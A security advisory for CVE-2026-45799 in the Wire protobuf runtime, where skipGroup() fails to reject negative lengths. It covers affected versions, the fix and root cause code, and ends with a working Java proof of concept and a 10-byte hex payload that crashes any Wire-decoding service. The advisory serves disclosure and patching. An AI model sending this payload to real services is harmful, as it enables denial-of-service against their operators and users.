Wire: skipGroup() missing negative-length check allows 10-byte payload to crash any Wire-decoding service
CVE-2026-45799
Maintainer summary
Wire's protobuf group-skipping logic did not reject negative lengths before skipping a
length-delimited field inside a group. A crafted protobuf payload could cause Wire to throw an
unchecked runtime exception during decoding instead of the documented IOException /
ProtocolException failure path.
This can crash services that decode untrusted protobuf payloads and only handle Wire's documented checked decoding failures.
Affected artifacts
com.squareup.wire:wire-runtime
Affected versions: vulnerable releases before 6.3.0.
Patched versions: 6.3.0 and later.
Users should upgrade to com.squareup.wire:wire-runtime:6.3.0 or later.
com.squareup.wire:wire-runtime-jvm
Affected versions: vulnerable legacy releases, including 5.3.1 and 5.3.3.
Patched versions: none.
com.squareup.wire:wire-runtime-jvm is a discontinued legacy artifact and will not receive a
patched release. Users should migrate to com.squareup.wire:wire-runtime:6.3.0 or later.
Wire 7 alpha releases
The fix has been merged to master and will be included in the next Wire 7 alpha release. Until
that release is available, Wire 7 alpha users should avoid decoding untrusted protobuf payloads with
affected alpha versions or build from a commit containing the fix.
Fix
The issue is fixed in Wire 6.3.0.
The fix rejects negative lengths while skipping groups and throws ProtocolException instead of
allowing the reader to move to an invalid position and later throw an unchecked runtime exception.
Credit
Reported by @TrekLaps.
Technical details
The following technical details are based on the original report, updated by the maintainers to
reflect the assigned CVE, the supported fixed artifact, and the discontinued status of
com.squareup.wire:wire-runtime-jvm.
ByteArrayProtoReader32.skipGroup() in wire-runtime did not validate that a
LENGTH_DELIMITED field's length is non-negative before calling skip(). A crafted protobuf
varint encodes -128 as a signed Int. When skip(-128) runs, the internal position counter
underflows to an invalid negative position. The next readByte() accesses the source with that
negative position, throwing ArrayIndexOutOfBoundsException, a RuntimeException that escapes
Wire's documented IOException boundary and can crash the request handler.
ProtoAdapter.decode(byte[]) is declared to throw IOException. Callers following the documented
API may catch only IOException, so unchecked runtime exceptions from malformed input can escape
the expected error boundary.
The originally confirmed vulnerable legacy versions include 5.3.1 and 5.3.3 for the
discontinued com.squareup.wire:wire-runtime-jvm coordinate. The supported replacement coordinate
is com.squareup.wire:wire-runtime, fixed in version 6.3.0.
Root cause
In the originally reported vulnerable code path, ByteArrayProtoReader32.skipGroup() read the
length as a signed Int and used it without validating that it was non-negative:
STATE_LENGTH_DELIMITED -> {
val length = internalReadVarint32() // returns signed Int and can be negative
skip(length) // no negative check
}The internal skip() implementation then accepted the negative count because the computed
position was not greater than the limit:
private fun skip(byteCount: Int) {
val newPos = pos + byteCount // for example, 7 + (-128) = -121
if (newPos > limit) throw EOFException()
pos = newPos // pos = -121
}The next read could then index the source with the invalid negative position:
private fun readByte(): Byte {
if (pos == limit) throw EOFException()
return source[pos++] // source[-121] throws ArrayIndexOutOfBoundsException
}Wire already rejected negative lengths in normal length-delimited field decoding. The same validation was missing from group-skipping code.
The fix adds this validation when skipping groups:
STATE_LENGTH_DELIMITED -> {
val length = internalReadVarint32()
if (length < 0) throw ProtocolException("Negative length: $length...")
skip(length)
}The fix was applied to both ByteArrayProtoReader32.skipGroup() and ProtoReader.skipGroup().
Reproduction
The following reproduction was provided for vulnerable legacy wire-runtime-jvm releases such as
5.3.1 and 5.3.3:
curl -sL https://repo1.maven.org/maven2/com/squareup/wire/wire-runtime-jvm/5.3.3/wire-runtime-jvm-5.3.3.jar -o wire.jar
curl -sL https://repo1.maven.org/maven2/com/squareup/okio/okio-jvm/3.9.1/okio-jvm-3.9.1.jar -o okio.jar
curl -sL https://repo1.maven.org/maven2/org/jetbrains/kotlin/kotlin-stdlib/2.1.0/kotlin-stdlib-2.1.0.jar -o stdlib.jar// WirePoc.java
import com.squareup.wire.AnyMessage;public class WirePoc {
public static void main(String[] args) throws Exception {
byte[] payload = new byte[] {
(byte) 0x9B, 0x06, // field 99, START_GROUP
0x0A, // field 1, LENGTH_DELIMITED
(byte) 0x80, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, 0x0F, // varint = -128
(byte) 0x9C, 0x06 // field 99, END_GROUP
};
AnyMessage.ADAPTER.decode(payload);
}
}
javac -cp "wire.jar:okio.jar:stdlib.jar" WirePoc.java
java -cp ".:wire.jar:okio.jar:stdlib.jar" WirePocObserved output on vulnerable versions:
Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index -120 out of bounds for length 10
at com.squareup.wire.ByteArrayProtoReader32.readByte(ByteArrayProtoReader32.kt:448)
at com.squareup.wire.ByteArrayProtoReader32.internalReadVarint32(ByteArrayProtoReader32.kt:294)
at com.squareup.wire.ByteArrayProtoReader32.skipGroup(ByteArrayProtoReader32.kt:209)
at com.squareup.wire.ByteArrayProtoReader32.nextTag(ByteArrayProtoReader32.kt:156)
at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:150)
at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:88)
at com.squareup.wire.ProtoAdapter.decode(ProtoAdapter.kt:468)
at WirePoc.main(WirePoc.java:10)With the fix, the same payload is rejected with ProtocolException.
Why this can affect any Wire-decoding service
skipGroup() is called for any unknown field with wire type 3. An attacker can send an unknown
field, such as field 99, with wire type START_GROUP. The decoder skips it via skipGroup()
regardless of which message type the service uses, so no schema knowledge is required.
Payload:
9b060a80ffffff0f9c06Payload breakdown:
0x9B 0x06 field 99, wire type 3 (START_GROUP)
0x0A field 1, wire type 2 (LENGTH_DELIMITED) inside group
0x80 0xFF 0xFF 0xFF 0x0F 5-byte varint = -128 as signed Int
0x9C 0x06 field 99, END_GROUP